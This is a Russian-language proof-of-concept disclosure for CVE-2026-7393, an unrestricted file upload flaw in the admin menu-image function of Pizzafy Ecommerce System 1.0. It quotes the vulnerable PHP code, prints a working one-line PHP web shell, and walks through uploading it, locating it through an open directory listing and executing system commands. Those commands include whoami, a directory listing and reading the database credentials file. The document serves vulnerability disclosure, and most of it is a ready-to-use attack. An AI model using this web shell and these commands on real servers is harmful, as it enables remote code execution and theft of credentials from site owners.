
Доказательство концепции эксплуатации для CVE-2026-7393: неограниченная загрузка файлов в Pizzafy Ecommerce System 1.0, позволяющая аутентифицированным администраторам загружать PHP-вебшелл и добиваться удалённого выполнения кода.
| Поле | Значение |
|---|---|
| Производитель | SourceCodester |
| URL производителя | https://www.sourcecodester.com |
| Продукт | Pizzafy Ecommerce System using PHP and MySQL |
| URL продукта | https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html |
| Версия | 1.0 |
| Уязвимость | Неограниченная загрузка файлов → Удалённое выполнение кода |
| CWE | CWE-434 |
| Оценка CVSSv3 | 7.8 (Высокая) |
| Вектор атаки | Сетевой |
| Требуется аутентификация | Да (Администратор) |
| Взаимодействие с пользователем | Не требуется |
| Исследователь | Imad Alvi |
| Дата | 2026-04-12 |
Файл: Pizzafy/admin/admin_class_novo.php → функция save_menu()
Параметр: img (FILE)
Путь загрузки: Pizzafy/assets/img/
Функция save_menu() в Pizzafy Ecommerce System 1.0 обрабатывает загрузку изображений для позиций меню без выполнения какой-либо проверки типа файлов. Приложение извлекает расширение файла с помощью pathinfo(), но фактически никогда не проверяет и не ограничивает допустимые типы файлов перед перемещением загруженного файла в каталог assets/img/, доступный через веб. Аутентифицированный администратор может загрузить PHP-веб-шелл, замаскированный под изображение меню, а затем напрямую обратиться к нему через браузер, чтобы добиться удалённого выполнения кода на сервере.
Уязвимый код в admin_class_novo.php:
function save_menu(){
extract($_POST);
// ...
if($_FILES['img']['tmp_name'] != ''){
$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
$move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/img/'. $fname);
$data .= ", img_path = '$fname' ";
}
// No extension check, no MIME type check
}
Создайте файл с именем shell_web2.php со следующим содержимым:
<?php echo shell_exec($_GET['cmd']); ?>
Войдите как администратор и перейдите по адресу:
http://localhost/pizzafy/Pizzafy/admin/index.php?page=menu
Заполните форму меню любыми допустимыми значениями и выберите shell_web2.php в качестве файла изображения. Нажмите Сохранить.
Теперь шелл отображается как позиция меню на странице для клиентов.
Перейдите в каталог assets — листинг каталога включён (CWE-548):
http://192.168.0.9/pizzafy/Pizzafy/assets/img/
Загруженный PHP-шелл виден в листинге каталога.
Обратитесь к загруженному шеллу напрямую и передавайте системные команды через параметр cmd:
http://192.168.0.9/pizzafy/Pizzafy/assets/img/1775994120_shell_web2.php?cmd=whoami
Ответ — команда ОС, выполненная на сервере:
desktop-g1i9np3\dell
?cmd=whoami
?cmd=ipconfig
?cmd=dir C:\xampp\htdocs\pizzafy
?cmd=type C:\xampp\htdocs\pizzafy\Pizzafy\admin\db_connect.php
Аутентифицированный администратор может:
В каталоге assets/img/ включён листинг каталога, что позволяет неаутентифицированным пользователям просматривать все загруженные файлы, включая веб-шелл. Это усугубляет серьёзность уязвимости загрузки файлов.